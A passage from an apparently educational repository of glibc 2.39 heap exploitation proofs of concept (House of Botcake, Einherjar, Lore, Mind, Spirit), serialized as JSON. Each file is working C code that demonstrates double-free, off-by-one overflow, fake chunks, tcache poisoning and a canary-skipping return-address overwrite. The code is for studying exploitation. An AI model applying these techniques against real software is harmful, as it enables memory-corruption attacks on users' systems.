\"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_tangerine.c",
